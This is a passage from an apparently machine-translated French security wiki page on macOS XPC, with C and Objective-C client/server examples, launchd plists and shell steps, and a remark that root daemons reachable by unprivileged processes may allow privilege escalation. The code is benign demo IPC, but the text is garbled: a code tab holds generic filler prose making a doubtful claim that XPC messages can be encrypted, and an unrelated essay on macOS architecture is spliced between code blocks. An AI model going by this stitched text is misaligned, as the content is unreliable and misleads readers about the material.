<key>com.jamf.management.daemon.agent</key>
<true/>
<key>com.jamf.management.daemon.binary</key>
<true/>
<key>com.jamf.management.daemon.selfservice</key>
<true/>
<key>com.jamf.management.daemon.service</key>
<true/>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
```
Ceux dans **`LaunchDameons`** sont exécutés par root. Donc, si un processus non privilégié peut communiquer avec l'un d'entre eux, il pourrait être en mesure d'escalader les privilèges.

### Messages d'événement XPC

Les applications peuvent **s'abonner** à différents **messages d'événement**, ce qui leur permet d'être **initiées à la demande** lorsque de tels événements se produisent. La **configuration** de ces services est effectuée dans des fichiers **plist de lancement**, situés dans les **mêmes répertoires que les précédents** et contenant une clé supplémentaire **`LaunchEvent`**.

### Vérification du processus de connexion XPC

Lorsqu'un processus essaie d'appeler une méthode via une connexion XPC, le **service XPC doit vérifier si ce processus est autorisé à se connecter**. Voici les moyens courants de vérifier cela et les pièges courants :

{% content-ref url="macos-xpc-connecting-process-check.md" %}
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
{% endcontent-ref %}

### Autorisation XPC

Apple permet également aux applications de **configurer certains droits et la manière de les obtenir** afin que si le processus appelant les possède, il soit **autorisé à appeler une méthode** du service XPC :

{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
{% endcontent-ref %}

### Exemple de code C

{% tabs %}
{% tab title="xpc_server.c" %}
```c
// gcc xpc_server.c -o xpc_server

#include <xpc/xpc.h>

static void handle_event(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "message");
printf("Received message: %s\n", received_message);

// Create a response dictionary
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(response, "received", "received");

// Send response
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_connection_send_message(remote, response);

// Clean up
xpc_release(response);
}
}

static void handle_connection(xpc_connection_t connection) {
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
handle_event(event);
});
xpc_connection_resume(connection);
}

int main(int argc, const char *argv[]) {
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!service) {
fprintf(stderr, "Failed to create service.\n");
exit(EXIT_FAILURE);
}

xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_CONNECTION) {
handle_connection(event);
}
});

xpc_connection_resume(service);
dispatch_main();

return 0;
}
```
{% tab title="xpc_client.c" %}

Le fichier `xpc_client.c` est un exemple de code source en langage C qui illustre l'utilisation de l'API XPC pour la communication inter-processus (IPC) sur macOS. L'API XPC permet aux processus de communiquer entre eux de manière sécurisée et efficace en utilisant des messages structurés.

Dans cet exemple, un client XPC est créé et utilisé pour envoyer un message à un service XPC distant. Le client XPC utilise la fonction `xpc_connection_create` pour créer une connexion vers le service distant, puis utilise la fonction `xpc_dictionary_create` pour créer un dictionnaire XPC contenant les données à envoyer.

Une fois que le dictionnaire XPC est créé, le client XPC utilise la fonction `xpc_connection_send_message` pour envoyer le message au service distant. Le service distant peut ensuite recevoir le message en utilisant une méthode similaire.

Il est important de noter que l'API XPC offre des mécanismes de sécurité intégrés pour protéger la communication inter-processus. Par exemple, les connexions XPC peuvent être configurées pour utiliser des autorisations spécifiques, et les messages XPC peuvent être chiffrés pour assurer la confidentialité des données.

Ce fichier `xpc_client.c` est un exemple de base pour comprendre comment utiliser l'API XPC pour la communication inter-processus sur macOS. Il peut être utilisé comme point de départ pour développer des applications qui nécessitent une communication sécurisée entre les processus.

{% endtab %}
```c
// gcc xpc_client.c -o xpc_client

#include <xpc/xpc.h>

int main(int argc, const char *argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "received");
printf("Received message: %s\n", received_message);
}
});

xpc_connection_resume(connection);

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message", "Hello, Server!");

xpc_connection_send_message(connection, message);

dispatch_main();

return 0;
}
```
{% tab title="xyz.hacktricks.service.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.service</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/xpc_server</string>
</array>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client

# Save server on it's location
cp xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist

# Call client
./xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
### Exemple de code ObjectiveC

{% tabs %}
{% tab title="oc_xpc_server.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

@interface MyXPCObject : NSObject <MyXPCProtocol>
@end


@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
NSLog(@"Received message: %@", some_string);
NSString *response = @"Received";
reply(response);
}
@end

@interface MyDelegate : NSObject <NSXPCListenerDelegate>
@end


@implementation MyDelegate

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];

MyXPCObject *my_object = [MyXPCObject new];

newConnection.exportedObject = my_object;

[newConnection resume];
return YES;
}
@end

int main(void) {

NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];

id <NSXPCListenerDelegate> delegate = [MyDelegate new];
listener.delegate = delegate;
[listener resume];

sleep(10); // Fake something is done and then it ends
}
```
{% tab title="oc_xpc_client.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

int main(void) {
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
[connection resume];

[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
}];

[[NSRunLoop currentRunLoop] run];

return 0;
}
```
# Architecture de macOS

macOS est le système d'exploitation utilisé sur les ordinateurs Mac d'Apple. Il est basé sur le noyau XNU, qui est un noyau hybride composé du noyau Mach et du noyau BSD. macOS utilise une architecture en couches pour gérer les différents aspects du système d'exploitation.

## Couche utilisateur

La couche utilisateur de macOS est responsable de l'exécution des applications et des services. Elle comprend des frameworks tels que Cocoa et Carbon, qui fournissent des API pour le développement d'applications. Les applications macOS sont généralement écrites en Objective-C ou en Swift.

## Couche noyau

La couche noyau de macOS est responsable de la gestion des ressources matérielles et logicielles du système. Elle comprend le noyau XNU, qui fournit des fonctionnalités telles que la gestion de la mémoire, la gestion des processus et la gestion des fichiers. Le noyau XNU est également responsable de la mise en œuvre de la sécurité et des mécanismes d'intercommunication entre les processus.

## IPC (Inter-Process Communication)

L'IPC (Inter-Process Communication) est un mécanisme utilisé par les processus pour communiquer entre eux. macOS prend en charge plusieurs mécanismes d'IPC, tels que les sockets, les tubes, les signaux et les files de messages. Ces mécanismes permettent aux processus de partager des données et de coopérer les uns avec les autres.

## Sécurité et élévation de privilèges

macOS met en œuvre plusieurs mécanismes de sécurité pour protéger le système contre les attaques. Cela comprend des fonctionnalités telles que le chiffrement des données, les autorisations de fichiers et les mécanismes de contrôle d'accès. Cependant, il est toujours possible d'exploiter des vulnérabilités pour élever les privilèges et obtenir un accès non autorisé au système.

Dans les prochains chapitres, nous explorerons différentes techniques de sécurité et d'élévation de privilèges sur macOS. Nous examinerons les vulnérabilités courantes et les méthodes d'exploitation associées. Nous discuterons également des meilleures pratiques pour renforcer la sécurité de macOS et prévenir les attaques.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.svcoc</string>
<key>MachServices</key>
<dict>
<key>xyz.hacktricks.svcoc</key>
<true/>
</dict>
<key>Program</key>
<string>/tmp/oc_xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/oc_xpc_server</string>
</array>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client

# Save server on it's location
cp oc_xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist

# Call client
./oc_xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
## Références

* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)

<details>

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